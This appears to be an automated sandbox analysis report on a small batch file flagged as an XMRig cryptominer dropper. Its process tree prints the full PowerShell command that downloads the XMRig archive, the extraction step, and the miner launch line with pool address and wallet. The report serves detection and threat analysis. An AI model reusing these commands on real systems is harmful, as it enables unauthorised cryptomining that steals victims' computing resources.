Analysis

  • max time kernel
    1794s
  • max time network
    1808s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    22-12-2023 08:52

General

  • Target

    tesy - Copy (8).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (8).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2624
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4156
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5084
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:3984

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    42d4b1d78e6e092af15c7aef34e5cf45

    SHA1

    6cf9d0e674430680f67260194d3185667a2bb77b

    SHA256

    c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

    SHA512

    d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    bbcf0472922d9eb406ee6c289d0690fe

    SHA1

    173bc766ef3e364776a4df40e220d45a877f68c2

    SHA256

    be1ebec45560cfb11bcd3d164e9dec25a887edf3d9143752b777ec6d63a41be7

    SHA512

    723414f788bc1fe15e6732a8c18eafa28e3acd6b3ec83451d37527c7217efde55ef16e2a33e907c6e6294676376ddfa5b0ec94ded3cc1a56a1edbf8ff32165ee

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bqj3itse.zng.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    49KB

    MD5

    3cd053ad547da876c16813f7a2adb3df

    SHA1

    d82e7db2b6b18be09b0f52652333e7175aa74830

    SHA256

    35bcc727055bf335c6dc840aebd6bceecb9579278e020733d148f1865299ac40

    SHA512

    2d88ce416334c7fd01733f8d2a2c452acc3f31c0756e73ee2f9399d2d4c17881243c86912dc795a981ea836fc3b5c3ea40a1b3987490dbff33ab26d3a7a519cf

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    170KB

    MD5

    ead50e42248e3ef2d578db2b710d487d

    SHA1

    f5551e41e0ebea9bb3615e60ed8ca5ee670004fe

    SHA256

    2ec0fa7bc77c4ed7ad4de365de21ddb04b0a2b2035200a36ea0633250fcd33c9

    SHA512

    fad938fb55091b73a7a631616664c9c6472e358a124ea9c6b0e8f42d8f16a07dff9814418eb1941036bea9e2a40e9796c5dbd979e567ef2b03e7d8bb8011c2b4

  • memory/3984-142-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-133-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-184-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-183-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-182-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-145-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-181-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-180-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-179-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-178-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-177-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-176-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-175-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-116-0x000001FAEFDF0000-0x000001FAEFE10000-memory.dmp

    Filesize

    128KB

  • memory/3984-117-0x000001FB83B90000-0x000001FB83BD0000-memory.dmp

    Filesize

    256KB

  • memory/3984-118-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-120-0x000001FB84200000-0x000001FB84220000-memory.dmp

    Filesize

    128KB

  • memory/3984-119-0x000001FAEFE50000-0x000001FAEFE70000-memory.dmp

    Filesize

    128KB

  • memory/3984-121-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-122-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-123-0x000001FAEFE50000-0x000001FAEFE70000-memory.dmp

    Filesize

    128KB

  • memory/3984-125-0x000001FB84200000-0x000001FB84220000-memory.dmp

    Filesize

    128KB

  • memory/3984-124-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-126-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-127-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-128-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-129-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-130-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-131-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-132-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-144-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-134-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-135-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-136-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-137-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-138-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-139-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-140-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-141-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-174-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-159-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-173-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-172-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-146-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-147-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-148-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-149-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-150-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-151-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-152-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-153-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-154-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-155-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-156-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-157-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-158-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-143-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-160-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-161-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-162-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-163-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-164-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-165-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-166-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-167-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-168-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-169-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-170-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/3984-171-0x00007FF7DD550000-0x00007FF7DE053000-memory.dmp

    Filesize

    11.0MB

  • memory/4156-30-0x00007FFAD4920000-0x00007FFAD530C000-memory.dmp

    Filesize

    9.9MB

  • memory/4156-6-0x00007FFAD4920000-0x00007FFAD530C000-memory.dmp

    Filesize

    9.9MB

  • memory/4156-4-0x000002267EA10000-0x000002267EA32000-memory.dmp

    Filesize

    136KB

  • memory/4156-10-0x000002267ECF0000-0x000002267ED66000-memory.dmp

    Filesize

    472KB

  • memory/4156-9-0x000002267EB60000-0x000002267EB70000-memory.dmp

    Filesize

    64KB

  • memory/4156-25-0x000002267EB60000-0x000002267EB70000-memory.dmp

    Filesize

    64KB

  • memory/4156-8-0x000002267EB60000-0x000002267EB70000-memory.dmp

    Filesize

    64KB

  • memory/5084-76-0x0000027A6E580000-0x0000027A6E592000-memory.dmp

    Filesize

    72KB

  • memory/5084-39-0x0000027A6E0A0000-0x0000027A6E0B0000-memory.dmp

    Filesize

    64KB

  • memory/5084-62-0x0000027A6E0A0000-0x0000027A6E0B0000-memory.dmp

    Filesize

    64KB

  • memory/5084-38-0x0000027A6E0A0000-0x0000027A6E0B0000-memory.dmp

    Filesize

    64KB

  • memory/5084-89-0x0000027A6E380000-0x0000027A6E38A000-memory.dmp

    Filesize

    40KB

  • memory/5084-36-0x00007FFAD4920000-0x00007FFAD530C000-memory.dmp

    Filesize

    9.9MB

  • memory/5084-113-0x00007FFAD4920000-0x00007FFAD530C000-memory.dmp

    Filesize

    9.9MB